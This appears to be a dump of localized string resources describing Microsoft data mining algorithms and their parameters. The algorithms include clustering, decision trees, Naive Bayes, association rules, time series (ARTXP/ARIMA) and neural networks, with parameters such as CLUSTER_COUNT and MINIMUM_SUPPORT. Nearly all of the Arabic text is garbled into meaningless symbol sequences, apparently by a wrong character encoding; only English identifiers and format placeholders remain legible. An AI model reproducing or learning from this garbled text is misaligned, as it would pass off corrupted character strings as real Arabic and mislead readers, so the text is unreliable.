'D0J 8G1 DG G0' 'D.7#.PA(J*E *FAJ0 'D-/+ 9F/ '3*F*', 3E'* 'DFEH0,ADE **E C*'() E9DHE'* 'D*91JA 'D4.5J) PII D9EDJ'* 'D**(9 CF5 9'/J.PA#*E *,'GD 'D1E2 'D%9D'EJ #H 'D*-0J1.PA5EB/'1 'DHB* (('DEDDJ +'FJ)) 'D0J 'F*81G E$41 'D*1'(7.PAK-/+ **(9 verbose DH8JA) ED-B DAX 'D0J *E **(9G E('41)K (H'37) E$DAJ 'DED-B.PA3E'* 'DFEH0, AJ 3D3D) json.PA&HB* ".1 '3*./'E E,/HD DB'9/) 'D(J'F'*.-/+ %FG'! *FAJ0 H8JA) ED-B DAX.PA'DCDE'* 'D#3'3J) D*,EJ9 'D-/+'DCDE) 'D#3'3J) 'DEB*1F)PAVD*-/J/ 'D9// 'D*B1J(J DF8E 'DE,EH9'* 'DE1'/ %F4'$G' EF BP(D 'D.H'12EJ). %0' *901 %F4'! 'D9// 'D*B1J(J DF8E 'DE,EH9'* EF 'D(J'F'*, A9F/&0 *BHE 'D.H'12EJ) (%F4'! #C(1 9// EECF EF F8E 'DE,EH9'*. HJ$/J *9JJF 'DE9DE) CLUSTER_COUNT %DI 0 #F *BHE 'D.H'12EJ) ('3*./'E 'DEH,G'* D*-/J/ 9// F8E 'DE,EH9'* 'DE1'/ %F4'$G' (4CD #A6D.	'D9// 'D'A*1'6J GH 10.�#3DH( 'DE,EH9'* 'D0J *3*./EG 'D.H'12EJ) JECF #F JCHF %E': EM B'(D DD*-,JE (1), #H EM :J1 B'(D DD*-,JE (2), #H H3JD) K B'(D) DD*-,JE (3), #H H3JD) K :J1 B'(D) DD*-,JE (4).<*-// G0G 'DE9DE) 'D-/ 'D#/FI D9// 'D-'D'* AJ CD F8'E E,EH9).T*-// G0G 'DE9DE) 9// FE'0, 'D9JF'* 'D*J *E (F'$G' #+F'! 9EDJ) *CHJF #F8E) 'DE,EH9'*.�D*-/J/ 'DBJE) 'DE3*./E) D*-/J/ E*I J*E (DH: 'D*B'1( HE*I *F*GJ 'D.H'12EJ) EF (F'! 'DFEH0,. HJ*E (DH: 'D*B'1( 9F/E' JCHF 'D*:JJ1 'DCDJ AJ %EC'F'* F8'E 'DE,EH9) #BD EF E9/QD STOPPING_TOLERANCE 'DEB3HE 9DI -,E 'DFEH0,.$D*-/J/ 9// 'D-'D'* 'D*J *3*./EG' 'D.H'12EJ) 9DI CD *E1J1 AJ -'D) *9JJF 'DE9DE) CLUSTERING_METHOD %DI H'-/ EF #3'DJ( *CHJF #F8E) 'DE,EH9'* 'DB'(D) DD*,EJ9. 3J$/J *9JJF SAMPLE_SIZE %DI 0 %DI H69 E,EH9) 'D(J'F'* (#CEDG' AJ F8'E E,EH9) AJ *E1J1 EA1/, 'D#E1 'D0J B/ J3(( E4CD'* AJ 'D0'C1) H'D#/'!.�D*-/J/ #B5I -/ D9// 3E'* 'D%/.'D 'D*J JECF #F *9'D,G' 'D.H'12EJ) B(D '3*/9'! *-/J/ 'DEJ2'*. %F *9JJF G0G 'DBJE) %DI 0 J9FJ *-/J/ #FG D' JH,/ -/ #B5I D9// 'D3E'*.�J-// #B5I 9// D3E'* 'D%/.'D 'D*J JECF DD.H'12EJ) E9'D,*G' B(D '3*/9'! *-/J/ 'DEJ2'*. J9ED *9JJF G0G 'DBJE) %DI 0 9DI *97JD *-/J/ 'DEJ2'* D3E'* 'D%/.'D.�J-// #B5I 9// D3E'* 'D%/.'D 'D*J JECF DD.H'12EJ) E9'D,*G' B(D '3*/9'! *-/J/ 'DEJ2'*. J9ED *9JJF G0G 'DBJE) %DI 0 9DI *97JD *-/J/ 'DEJ2'* D3E'* 'D%/.'D.cDEF9 FEH 4,1) 'DB1'1'*. J9ED .A6 'DBJE) 9DI 2J'/) '-*E'DJ) 'D'FB3'E, (JFE' *9ED 2J'/) 'DBJE) 9DI .A6 G0G 'D'-*E'DJ). H*3*F/ 'DBJE) 'D'A*1'6J) %DI 9// 'D3E'* DFEH0, E-//: 'DBJE) 'D'A*1'6J) GJ 0.5 AJ -'D) H,H/ EF 1 %DI 9 EJ2'*; HC0DC *CHF 'DBJE) 'D'A*1'6J) 0.9 AJ -'D) H,H/ EF 10 %DI 99 3E); H*CHF 'DBJE) 'D'A*1'6J) 0.99 AJ -'D) H,H/  100 #H E2J/ EF 'D3E'*.JD*-/J/ 'D-/ 'D#/FI EF 9// 'D-'D'* 'DE7DH() D%F4'! 'FB3'E AJ 4,1) 'DB1'1'*.�D*-/J/ 'D#3DH( 'DE3*./E AJ -3'( FB'7 'D'FB3'E. H**E+D 'D#3'DJ( 'DE*HA1) AJ:  'D%F*1H(J' (1), #H Bayesian ('3*./'E K2 'D3'(B (3), #H EC'A& Bayesian Dirichlet ('3*./'E 'D'F*8'E 'D3'(B (4).PAmD*-/J/ 'D#3DH( 'DE3*./E AJ *B3JE 'D9B/). H**E+D 'D#3'DJ( 'DE*HA1) AJ:  +F'&J (1), #H C'ED (2), #H CD'GE' (3).�J-// #B5I 9// D3E'* 'D%/.'D 'D*J JECF DD.H'12EJ) E9'D,*G' B(D '3*/9'! *-/J/ 'DEJ2'*. J9ED *9JJF G0G 'DBJE) %DI 0 9DI *97JD *-/J/ 'DEJ2'* D3E'* 'D%/.'D.�J-// #B5I 9// D3E'* 'D%/.'D 'D*J JECF DD.H'12EJ) E9'D,*G' B(D '3*/9'! *-/J/ 'DEJ2'*. J9ED *9JJF G0G 'DBJE) %DI 0 9DI *97JD *-/J/ 'DEJ2'* D3E'* 'D%/.'D.!'DE9DHE'* :J1 E*'-) DG0' 'D%5/'1.�D*-/J/ 'D-/ 'D#B5I D9// -'D'* 'D3E'* 'D*J */9EG' 'D.H'12EJ). H%0' C'F 9// 'D-'D'* 'D*J *-*HJ 9DJG' 3E) #C(1 EF 'D-/ 'D#B5I D9// 'D-'D'*, A9F/&0 *3*./E 'D.H'12EJ) #C+1 'D-'D'* 4JH9K' DD3E) CE' #FG' **9'ED E9 'D-'D'* 'DE*(BJ) 9DI #FG' EABH/).�D*-/J/ 'D-/ 'D#/FI D9// 'D-'D'* 'D*J J,( #F *-*HJ 9DI E,EH9) 'D-'D'* B(D %F4'! B'9/). %F *9JJF G0G 'DBJE) %DI #BD EF 1 J9FJ *-/J/ 'D-/ 'D#/FI D9// 'D-'D'* CF3() E&HJ) EF %,E'DJ 'D-'D'*. CE' %F *9JJF G0G 'DBJE) %DI 9// 5-J- #C(1 EF 1 J9FJ *-/J/ 'D-/ 'D#/FI D9// 'D-'D'* ('9*('1G 'D9// 'DE7DB DD-'D'* 'D0J J,( #F J-*HJ 9DI E,EH9) 'D9F'51. B/ *BHE 'D.H'12EJ) (2J'/) BJE) G0G 'DE9DE) %0' C'F* 'D0'C1) E-/H/).PA�D*-/J/ 'D-/ 'D#B5I D9// 'D-'D'* 'D*J */9EG' E,EH9) 9F'51. %0' C'F* G0G 'DBJE) #BD EF H'-/ A%FG' *E+D F3() E&HJ) EF %,E'DJ 'D-'D'*. #E' 'DBJE 'D#C(1 EF H'-/ A%FG' *E+D 'D9// 'DE7DB DD-'D'* 'D*J *-*HJ 9DI E,EH9) 'D9F'51.9D*-/J/ 'D-/ 'D#/FI D9// 'D9F'51 'DE3EH- (G' E,EH9) 9F'51.�D*-/J/ 'D-/ 'D#B5I D9// 'D9F'51 'DE3EH- (G' AJ E,EH9) 9F'51. %F *9JJF G0G 'DBJE) %DI 0 J9FJ *-/J/ #FG D' JH,/ -/ D-,E E,EH9) 'D9F'51.�D*-/J/ 'D-/ 'D#B5I D9// E,EH9'* 'D9F'51 'DE1'/ %F*',G'. AJ -'D) 9/E *-/J/ #J 1BE *BHE 'D.H'12EJ) (%F4'! C'A) E,EH9'* 'D9F'51 'DEECF).�D*-/J/ 'D-/ 'D#/FI D'-*E'D 5-) %-/I 'DBH'9/. 9DI 3(JD 'DE+'D J$/J *9JJF G0G 'DBJE) %DI 0.5 %DI *-/J/ #FG D' J*E %F4'! #J) B'9/) 0'* '-*E'D #BD EF 50%.aD*-/J/ #GEJ) 'D9*() DBH'9/ 'D'B*1'F. (-J+ %F 'DBH'9/ 'D*J *BD #GEJ*G' 9F G0G 'DBJE) 3**E *5AJ*G'.?D*91JA 9// 'D9F'51 'D*J J*9JF *.2JFG' E$B*K' #H *-3JFG' DD*HB9.VD*-/J/ 'D9// 'D*B1J(J DF8E 'DE,EH9'* 'DE1'/ %F4'$G' EF BP(D 'D.H'12EJ). %0' *901 %F4'! 'D9// 'D*B1J(J DF8E 'DE,EH9'* EF 'D(J'F'*, A9F/&0 *BHE 'D.H'12EJ) (%F4'! #C(1 9// EECF EF F8E 'DE,EH9'*. HJ$/J *9JJF 'DE9DE) CLUSTER_COUNT %DI 0 #F *BHE 'D.H'12EJ) ('3*./'E 'DEH,G'* D*-/J/ 9// F8E 'DE,EH9'* 'DE1'/ %F4'$G' (4CD #A6D.	'D9// 'D'A*1'6J GH 10.2D*-/J/ 'D-/ 'D#/FI D9// 'D-'D'* AJ CD F8'E E,EH9).PADEF9 FEH 4,1) 'DB1'1'*. -J+ J9ED .A6 G0G 'DBJE) 9DI 2J'/) '-*E'D 'D'FB3'E, (JFE' *9ED 2J'/) G0G 'DBJE) 9DI .A6 G0G 'D'-*E'DJ). QD*-/J/ 'D-/ 'D#/FI D9// 41'&- 'DHB* 'DE7DH() D%F4'! 'FB3'E AJ CD 4,1) *3D3D 2EFJ.JB/E *DEJ-K' %DI 'D.H'12EJ) AJE' J*9DB (/H1J) 'D(J'F'*. H*#.0 G0G 'DE9DE) *F3JB {n [, n]}, -J+ *CHF 'D#BH'3 'DC(J1), {}, E7DH() HJCHF 'D-1A n GH #J 1BE EH,(. HJCHF 'D-1A n /'.D 'D#BH'3, [], '.*J'1JK', HJECF %6'A) BJE E*9//) DD%4'1) %DI #F 'D(J'F'* 1(E' *-*HJ 9DI A*1'* 2EFJ) E*9//).�D*-/J/ 'D-/ 'D#B5I D9// -'D'* 'D3E'* 'D*J */9EG' 'D.H'12EJ). H%0' C'F 9// 'D-'D'* 'D*J *-*HJ 9DJG' 3E) #C(1 EF 'D-/ 'D#B5I D9// 'D-'D'*, A9F/&0 *3*./E 'D.H'12EJ) #C+1 'D-'D'* 4JH9K' DD3E) CE' #FG' **9'ED E9 'D-'D'* 'DE*(BJ) 9DI #FG' EABH/).F8'E 'DE,EH9'* D@ Microsoft�*3*./E .H'12EJ) F8'E 'DE,EH9'* D@ Microsoft *BFJ'* *C1'1J) .'5) (3,D'* 'DE,EH9'* 'DH'1/) EF E,EH9) (J'F'* %DI F8E E,EH9'* *-*HJ 9DI .5'&5 E4'(G). HJAJ/ G0' 'D%,1'! 9F/E' *1J/ %J,'/ *,EJ9'* 9'E) AJ (J'F'*C.#4,'1 'DB1'1'* D@ Microsoft�*9/ .H'12EJ) #4,'1 'DB1'1'* D@ Microsoft .H'12EJ) *5FJA *9ED ,J/K' DDFE0,) 'DE*HB9). H*/9E 'D.H'12EJ) *HB9 'D3E'* 'DEFA5D) H'DE3*E1) CD*JGE'.Microsoft Naive Bayes�*9/ .H'12EJ) Microsoft Naive Bayes .H'12EJ) *5FJA 31J9) AJ (F'&G' H*9ED ,J/K' DDFE0,) 'DE*HB9). H*/9E 'D.H'12EJ) AB7 'D3E'* 'DEFA5D) H'D*J *E A5DG' HGJ *9*(1 C'A) 3E'* 'D%/.'D 3E'* E3*BD) H.'5) 'D3E) 'DE*HB9).BH'9/ 'D'B*1'F D@ Microsoft�*BHE .H'12EJ) BH'9/ 'D'B*1'F D@ Microsoft ((F'! 'DBH'9/ 'D*J *5A 'D9F'51 'D#C+1 '-*E'D'K D#F *8G1 E9K' AJ E9'ED) H'-/). (-J+ JECF '3*./'E 'DBH'9/ D*HB9 H,H/ 9F51 '3*F'/K' %DI H,H/ 9F'51 #.1I AJ E9'ED).!F8'E E,EH9'* 'D*3D3D D@ MicrosoftPA�*9/ .H'12EJ) F8'E E,EH9'* 'D*3D3D D@ Microsoft *1CJ() EF 'D*-DJD HF8'E E,EH9'* 'D*3D3D, 'D*J *-// F8E E,EH9'* 'D#-/'+ 'DE1*() (4CD E*4'(G AJ *3D3D. HJECF '3*./'E F8E 'DE,EH9'* D*HB9 *1*J( 'D#-/'+ 'DE-*ED AJ *3D3D '3*F'/K' %DI 'D.5'&5 'DE91HA).Microsoft Time SeriesW*3*./E .H'12EJ) Microsoft Time Series *1CJ() EF *-DJD ARIMA H'D'F-/'1 'D.7J '3*F'/K' %DI #4,'1 'DB1'1'* D*-DJD 'D(J'F'* 'DE*9DB) ('DHB*, E+D (J'F'* 'DE(J9'* 'D4G1J) #H 'D#1('- 'D3FHJ). HJECF '3*./'E 'DFBH4 'D*J *C*4AG' D*HB9 'DBJE 'D.'5) (.7H'* 'DHB* 'DE3*B(DJ). CE' JECF *.5J5 'D.H'12EJ) D'3*./'E %E' #3DH( 4,1) 'DB1'1'*, #H ARIMA, #H CDJGE'.bD*-/J/ 'D1BE 'D#HDJ 'DE3*./E D%F4'! F8E E,EH9'* (4CD 94H'&J EF #,D 'DE1-D) 'DE(/&J) D(F'! 'DFE'0,.�D*-/J/ 'D-/ 'D#B5I D9// 'D-'D'* D3E) :J1 E3D3D) */9EG' 'D.H'12EJ). H%0' C'F 9// 'D-'D'* D3E) :J1 E3D3D) #C(1 EF 'D-/ 'D#B5I D9// 'D-'D'*, A9F/&0 *3*./E 'D.H'12EJ) 'D-'D'* 'D#C+1 4JH9K' DD3E) H**9'ED E9 'D-'D'* 'DE*(BJ) 9DI #FG' EABH/).�D*-/J/ 'D-/ 'D#B5I D9// 'D-'D'* 'D*J JECF #F J-*HJ 9DJG' *3D3D H'-/. HJECF #F JF*, 9F *9JJF G0G 'DBJE) %DI 9// #C(1 EF 100 H,H/ FEH0, (D' E9FI.5D*-/J/ 9// 'DFE'0, 'D3'(B) 'DE-AH8) 'D*J 3J*E (F'$G'.�D*-/J/ 'DA*1) 'D2EFJ) 'D*J *E*/ (JF FEH0,JF E-AH8JF E**'DJJF. 9DI 3(JD 'DE+'D, JF*, 9F *9JJF G0G 'DBJE) %DI g H,H/ FE'0, E-AH8) *E (F'$G' DD(J'F'* 'DEB*79) EF BP(D 41'&- 2EFJ) 9DI AH'5D 2EFJ) *3'HJ g H2*g H3*g, HGC0'.E9'D,) 'D'3*9D'E9EH/ 'D*/1J(: [%s]*FEH0, 'DFB'7: *E* E4'G/) [%ld] EF 'D-'D'*.FEH0, 'D,E9 'D*/1J(J3'DFEH0, 'DG'E4J DD*/1J(: *E* E4'G/) %ld EF 'D-'D'*.2F8E E,EH9'* 'D*/1J(: FEH0, 'DE14- %ld, 'D*C1'1 %ld8F8E E,EH9'* 'D*/1J(: *E E3- %ld EF 'D-'D'* E3-K' 6H&JK'.'.*J'1 E,EH9) 'DEJ2'*.5#4,'1 'D*/1J( (9// 'D'1*('7'*): *E 9/ %ld EF 'D-'D'*.E#4,'1 'D*/1J(: (F'! %ld 4,1) (4,1'*). *E *1C %ld EF 'D-'D'* D*5FJAG'.3BH'9/ 'B*1'F 'D*/1J(: %F4'! %ld EF E,EH9'* 'D9F'51.$BH'9/ 'B*1'F 'D*/1J(: %F4'! 'DBH'9/.*BH'9/ 'B*1'F 'D*/1J(: %9'/) *F8JE 'D-'D'*.'D4(C) 'D95(J) D@ Microsoft�*3*./E .H'12EJ) 'D4(C) 'D95(J) D@ Microsoft #3DH(K' E*/1,K' D*-3JF E9DE'* 'D4(C'* E*9//) 'D7(B'* EF #,D *HB9 3E'* E*9//). HJECF '3*./'EG' D*5FJA 'D3E'* 'DEFA5D) ('D%6'A) %DI 'F-/'1 'D3E'* 'DE3*E1).-D*-/J/ 'DF3() 'DE&HJ) DD-'D'* 6EF (J'F'* 'D*/1J( 'DE3*./E) D-3'( .7# 'DEE'7D) 'D.'5 (G0G 'D.H'12EJ). HJ*E '3*./'E HOLDOUT_PERCENTAGE C,2! EF E9'JJ1 'D%JB'A #+F'! */1J( FEH0, 'D*,EJ9. CE' *9/ G0G 'DBJE) A1J/) DG0G 'D.H'12EJ) HD' *1*(7 (#J) E,EH9) E9DE'* E-,H2) AJ (FJ) 'D,E9. *CHF 'DBJE) 'D'A*1'6J) 30.�D*-/J/ 9// D'3*./'EG AJ *9JJF EF4& 94H'&J 2'&A 9F/ *-/J/ 'D(J'F'* 'DE-,H2) 94H'&JK' DG0G 'D.H'12EJ). HAJ -'D) *9JJF HOLDOUT_SEED %DI 0, *BHE 'D.H'12EJ) (%F4'! 'DE9DHE'* 'D#HDJ) '3*F'/K' %DI '3E FEH0, 'D,E9, H0DC D6E'F #F J(BI E-*HI 'DFEH0, GH FA3G #+F'! %9'/) 'DE9'D,). CE' *9/ G0G 'DBJE) A1J/) DG0G 'D.H'12EJ) HD' *1*(7 (#J) E,EH9) E9DE'* E-,H2) AJ (FJ) 'D,E9. H*CHF 'DBJE) 'D'A*1'6J) 0.!'DE9DHE'* :J1 E*'-) DG0' 'D%5/'1.�J-// #B5I 9// D3E'* 'D%/.'D 'D*J JECF DD.H'12EJ) E9'D,*G' B(D '3*/9'! *-/J/ 'DEJ2'*. J9ED *9JJF G0G 'DBJE) %DI 0 9DI *97JD *-/J/ 'DEJ2'* D3E'* 'D%/.'D.�J-// #B5I 9// D3E'* 'D%/.'D 'D*J JECF DD.H'12EJ) E9'D,*G' B(D '3*/9'! *-/J/ 'DEJ2'*. J9ED *9JJF G0G 'DBJE) %DI 0 9DI *97JD *-/J/ 'DEJ2'* D3E'* 'D%/.'D.�D*-/J/ 'D-/ 'D#B5I D9// -'D'* 'D3E'* 'D*J */9EG' 'D.H'12EJ). H%0' C'F 9// 'D-'D'* 'D*J *-*HJ 9DJG' 3E) #C(1 EF 'D-/ 'D#B5I D9// 'D-'D'*, A9F/&0 *3*./E 'D.H'12EJ) #C+1 'D-'D'* 4JH9K' DD3E) CE' #FG' **9'ED E9 'D-'D'* 'DE*(BJ) 9DI #FG' EABH/).�D*-/J/ 9// 'D-'D'* 'D*J J*E '3*./'EG' D*/1J( 'DFEH0,. %E' #F *3*./E 'D.H'12EJ) 'D1BEN 'DE-//N EF BP(D SAMPLE_SIZE #H total_cases * (1 - HOLDOUT_PERCENTAGE/100), '9*E'/K' 9DI #JGE' #5:1.�D*-/J/ 9//M E3*./NE AJ *-/J/ 9// 'D9B/ 'DEH,H/) AJ 'D7(B) 'DE.AJ). *BHE 'D.H'12EJ) (-3'( 9// 'D9B/ 'DEH,H/) AJ 'D7(B) 'DE.AJ) ('9*('1G HIDDEN_NODE_RATIO * sqrt({9// 9B/ 'D%/.'D} * {9// 9B/ 'D%.1',}).!'DE9DHE'* :J1 E*'-) DG0' 'D%5/'1.PA!'DE9DHE'* :J1 E*'-) DG0' 'D%5/'1.FEH0, 'D,E9 'D*/1J(J*E (/! */1J( 'D.H'12EJ): [%s]*E %FG'! */1J( 'D.H'12EJ): [%s]TD*-/J/ 'D#3DH( 'DE3*./E AJ *9(&) 'DA,H'* AJ (J'F'* 'DE-AH8'*. H'A*1'6JK', :J1 E3EH- ('DA,H'* :J1 'D'9*J'/J) #H 'D-H'A 'D.4F) AJ 'D(J'F'*. H**E+D 'D#3'DJ( 'DE*HA1) D*9(&) A,H'* #H -H'A :J1 '9*J'/J) AJ: -3( 'DBJE) 'D3'(B), #H -3( 'DBJE) 'DE*H37), #H -3( 'D+'(* 'D1BEJ 'DE-//. HJ*E '3*./'E G0G 'DE9DE) AB7 DD5AHA :J1 'DC'ED) EF (J'F'* 'D%/.'D.}D*-/J/ BJE) 1BEJ) *1'H- (JF 0 H1 E3*./E) D'C*4'A 'D/H1J). %F *9JJF G0G 'DBJE) %DI 9// #B1( D@ 1 J$/J %DI *A6JD 'C*4'A 'D9/J/ EF 'D#FE'7 'DB1J() EF 'D#FE'7 'D/H1J) H'D%F4'! 'D*DB'&J D*DEJ-'* 'D/H1J). EF 'DE-*ED #F J$/J 'D*9'ED E9 9// C(J1 EF *DEJ-'* 'D/H1J) %DI #HB'* */1J( #7HD DDFEH0, (4CD ED-H8. H%0' C'F* 'DBJE) #B1( %DI 0, A9F/&0 J*E 'C*4'A 'D/H1J) AB7 DD(J'F'* 'D/H1J) 'DBHJ).=*/1J( 'D4(C) 'D95(J): *E *1C %ld EF 'D4(C'* 'DA19J) D*/1J(G'.**/1J( 'D4(C) 'DA19J). .7# AJ 'D'-*,'2 = %e�D%,('1 'D.H'12EJ) 9DI '3*./'E 'D#9E/) 'DE4'1 %DJG' ('9*('1G' EF-/1) AJ 5J:) 'D'F-/'1 (:6 'DF81 9F #GEJ*G' -J+ J*E -3'(G' EF BP(D 'D.H'12EJ). J*E '3*./'E G0G 'DE9DE) AB7 D#4,'1 'D'F-/'1.�D*-/J/ 'D-/ 'D#/FI D'-*E'DJ) 'D*(9J) (JF 3E'* 'D%/.'D H'D%.1',. J*E '3*./'E G0G 'DBJE) D*-/J/ -,E 'DE-*HI 'D0J *E %F4'$G EF BP(D 'D.H'12EJ). JECF *9JJF G0' 'D.'5J) EF 0 %DI 1. J$/J 2J'/) G0G 'DBJE) %DI *BDJD 9// 'D3E'* AJ 'DFEH0,.!'DE9DHE'* :J1 E*'-) DG0' 'D%5/'1.(B1'!) 'D-'D'*: *E* B1'!) %ld EF 'D-'D'*.[J9ED MINIMUM_SUPPORT 9DI %(7'D 'DE9DE) 'DEGED) 'DE.AJ). J-// #/FI 9// DD-'D'* AJ CD E,EH9).[J9ED MINIMUM_SUPPORT 9DI %(7'D 'DE9DE) 'DEGED) 'DE.AJ). J-// #/FI 9// DD-'D'* AJ CD E,EH9).�'DE9DE) 'DEGED) 'DE.AJ) 'D*J -D* E-DG' MINIMUM_SUPPORT. D*-/J/ 'D-/ 'D#/FI D9// 41'&- 'DHB* 'DE7DH() D%F4'! 'FB3'E AJ CD 4,1) *3D3D 2EFJ.QD*-/J/ 'DBJ/ 'D#/FI D#J *HB9 *3D3D 2EFJ. DF *CHF 'DBJE 'DE*HB9) #BD EF G0' 'DBJ/.PARD*-/J/ 'DBJ/ 'D#9DI D#J *HB9 *3D3D 2EFJ. DF *CHF 'DBJE 'DE*HB9) #C(1 EF G0' 'DBJ/.!D*-/J/ 'D-/ 'D#/FI D9// 'D-'D'* 'D*J J,( #F *-*HJ 9DJG' 9B/) 71AJ) H'-/). J$/J *9JJF G0G 'DBJE) %DI #BD EF 1 %DI *-/J/ 'D-/ 'D#/FI D9// 'D-'D'* CF3() E&HJ) EF %,E'DJ 'D-'D'*. CE' J$/J *9JJF G0G 'DBJE) %DI 9// 5-J- #C(1 EF 1 %DI *-/J/ 'D-/ 'D#/FI D9// 'D-'D'* ('9*('1G 'D9// 'DE7DB DD-'D'*.�'DE9DE) 'DE.AJ) 'DE3*./E) AJ 'D'F*B'! 'D*DB'&J D9// F8E 'DE,EH9'*. HGJ *91QA EB/'1 'DCEJ) 'DE*H37) D9// F8E 'DE,EH9'* 'DG/A 'DE3EH- DG' ('D'F-1'A 9F CLUSTER_COUNT_PRIOR.p'DE9DE) 'DE.AJ) 'DE3*./E) AJ 'D'F*B'! 'D*DB'&J D9// F8E 'DE,EH9'*. HGJ 'DH3JD) 'D3'(B) D9// F8E 'DE,EH9'* 'DG/A.�*E *7(JB *-/J/ 'DEJ2'* 'D*DB'&J 9DI 'DFEH0, '%{modelname/}' (3(( 'D9// 'DC(J1 EF 'D3E'*. BE (*9JJF MAXIMUM_INPUT_ATTRIBUTES H/#H MAXIMUM_OUTPUT_ATTRIBUTES D2J'/) 9// 'D3E'* 'D*J *1'9JG' 'D.H'12EJ).;DE *,/ #4,'1 'DB1'1'* #J 'FB3'E'* DDFEH0, '%{modelname/}'.ADE *,/ #4,'1 'DB1'1'* #J EF-/1'* EF'3() DDFEH0, '%{modelname/}'.�*E *7(JB .A6 'D9D'B) 'D#3'3J) 9DI 'D9EH/ '%{colname/}' 'D.'5 ('DFEH0, '%{modelname/}' (3(( 'D9// 'DC(J1 DD-'D'* 'DEH,H/) AJ 0DC 'D9EH/. BE (*9JJF MAXIMUM_STATES D2J'/) 9// 'D-'D'* 'D*J *E* E1'9'*G' EF BP(D 'D.H'12EJ).�*E *7(JB .A6 'D9D'B) 'D#3'3J) 9DI 'D9EH/ '%{colname/}' 'D.'5 ('DFEH0, '%{modelname/}' (3(( 'D9// 'DC(J1 DD-'D'* 'DEH,H/) AJ 0DC 'D9EH/. BE (*9JJF MAXIMUM_SEQUENCE_STATES D2J'/) 9// 'D-'D'* 'D*J *E* E1'9'*G' EF BP(D 'D.H'12EJ).aDE J*E 'D9+H1 9DI #J) (J'F'* (.D'A NULL AJ 'D9EH/ '%{colname/}' 'D.'5 ('DFEH0, '%{modelname/}'.r(3(( -/H/ 'D0'C1) B'E* .H'12EJ) BH'9/ 'D'B*1'F (6(7 MINIMUM_SUPPORT EF #,D '%{support/}' DDFEH0, '%{modelname/}'.mDE *,/ .H'12EJ) BH'9/ 'D'B*1'F #J) E,EH9'* 9F'51 E*C11) E*7'(B) E9 E9DE'* 'D.H'12EJ) DDFEH0, '%{modelname/}'.^DE *,/ .H'12EJ) BH'9/ 'D'B*1'F #J) BH'9/ E*7'(B) E9 E9DE'* 'D.H'12EJ) DDFEH0, '%{modelname/}'.IE9'D,) 'DFEH0, *(/# (9// '%{number/}' EF 'D3E'* DDFEH0, '%{modelname/}'.a*CHJF F8'E E,EH9'* 9DI 'DFEH0, '%{modelname/}' 'D0J *E *-HJDG (9/ E4'G/) %{number/} EF 'D-'D'*.c'C*ED *CHJF F8'E E,EH9'* 9DI 'DFEH0, '%{modelname/}' 'D0J J-*HJ 9DI %{number/} EF E,EH9'* 'DF8'E.N,'1M 'D*91A 9DI 4,1) 'D*3D3D 'D2EFJ D@ '%s' AJ 'DFEH0, 'D1&J3J (%ld of %ld)...\,'1M 'D*91A 9DI 4,1) 'D*3D3D 'D2EFJ D@ '%s' AJ 1BE FEH0, 'DE-AH8'* %ld (%ld 'D.'5 (@ %ld)...!'DE9DHE'* :J1 E*'-) DG0' 'D%5/'1.6D6E'F #F 'D13E 'D(J'FJ 'D5'AJ DD*(9J) J9*(1 D' -DBJK'.�D*-/J/ BJE) **1'H- (JF 0 H1 **-CE AJ E2J, .'5 (.H'12EJ'* 'D*3D3D 'D2EFJ ARTXP HARIMA. H*9/ 'DBJE) 'DE-//) 5'D-) AB7 9F/E' J*E *9JJF 'DE9DE) FORECAST_METHOD %DI MIXED. H%0' C'F* 'DBJE) *3'HJ 0, A9F/&0 J3*./E 'DFEH0, ARTXP AB7. #E' %0' C'F* 'DBJE) *3'HJ 1, A9F/&0 JO3*./NE 'DFEH0, ARIMA AB7. H*9/ 'DBJE) 'D#B1( %DI 0 #C+1 *1,J-K' (4/) %DI ARTXP. #E' 'DBJE) 'D#B1( %DI 1 A%FG' #C+1 *1,J-K' (4/) %DI ARIMA.�*3E- G0G 'DE9DE) DDE3*./E ('D*-CE AJ *1*J( 'DE57D-'* 'DE1*/) *DB'&JK'. H*BHE 'DBJE) 'D*J *3'HJ -1 (,9D 'D.H'12EJ) *C*4A BJE) EF'3().}*3E- G0G 'DE9DE) DDE3*./E ('D*-CE AJ *1*J( 'DE57D-'* 'DE*C'ED). H*BHE 'DBJE) 'D*J *3'HJ -1 (,9D 'D.H'12EJ) *C*4A BJE) EF'3().�*3E- G0G 'DE9DE) DDE3*./E ('D*-CE AJ *1*J( 'DE57D-'* 'DE*H37) 'DE*FBD). H*BHE 'DBJE) 'D*J *3'HJ -1 (,9D 'D.H'12EJ) *C*4A BJE) EF'3().[,'1M 'D*91A 9DI FEH0, 'D*3D3D 'D2EFJ ARIMA D@ '%s' AJ 'DFEH0, 'D1&J3J (%ld 'D.'5 (@ %ld)...c,'1M 'D*91A 9DI FEH0, 'D*3D3D 'D2EFJ ARIMA D@ '%s' AJ 1BE FEH0, 'DE-AH8'* %ld (%ld 'D.'5 (@ %ld)...DD*-CE AJ 'D9*() 'D*J *C*4A 9F/G' 'D.H'12EJ) 9/E 'D'3*B1'1 AJ 'DA1HB AJ .H'12EJ) 'D*3D3D 'D2EFJ D@ ARTXP HD%JB'A %,1'! 'D*HB9'*. 3*CHF 'DBJE) 'DE-//) 5'D-) AB7 9F/E' J*E *9JJF FORECAST_METHOD %DI ARTXP. H*BHE 'DBJE) 'D'A*1'6J) 'D*J *3'HJ 1 (*4:JD 'DC4A 9F H,H/ 9/E 'D'3*B1'1. J9ED G0' 'D%9/'/ 9DI *-3JF EH+HBJ) 'D*HB9'*, DCFG 1(E' J-// 9// .7H'* 'D*HB9. #E' 'DBJE) 'D*J *3'HJ 5A1K' A%FG' *BHE (%JB'A *4:JD 'DC4A 9F H,H/ 9/E 'D'3*B1'1. CE' J9ED G0' 'D%9/'/ 9DI *E/J/ 'D*HB9'* (4CD :J1 E-/H/, %D' #F *DC 'D*HB9'* 1(E' *5(- :J1 5'D-) %-5'&JK'.�D*-/J/ .H'12EJ) 'D*F($ 'DE1'/ '3*./'EG'. -// MIXED D%F4'! FE'0, DCD EF .H'12EJ'* 'D*3D3D 'D2EFJ ARTXP HARIMA +E BE (/E, F*'&,GE' #+F'! 'D*HB9. AJ %5/'1 Standard, J*E /E, 'DFE'0, ('3*./'E E9/QD *DB'&J JA6D ARTXP DD*HB9 9DI 'DE/I 'DB1J( (JFE' JA6D ARIMA DD*HB9 9DI 'DE/I 'D7HJD. #E' AJ 'D%5/'1'* 'D#9DI, AJ*E /E, 'DFE'0, H*1,J-G' HABK' DDBJE) 'D*J *E *9JJFG' D@ PREDICTION_SMOOTHING. HAJ -'D) *9JJF FORECAST_METHOD 9DI ARTXP #H ARIMA, J*E *,'GD 'DBJE) D@ PREDICTION_SMOOTHING.YE.2F '-*,'2 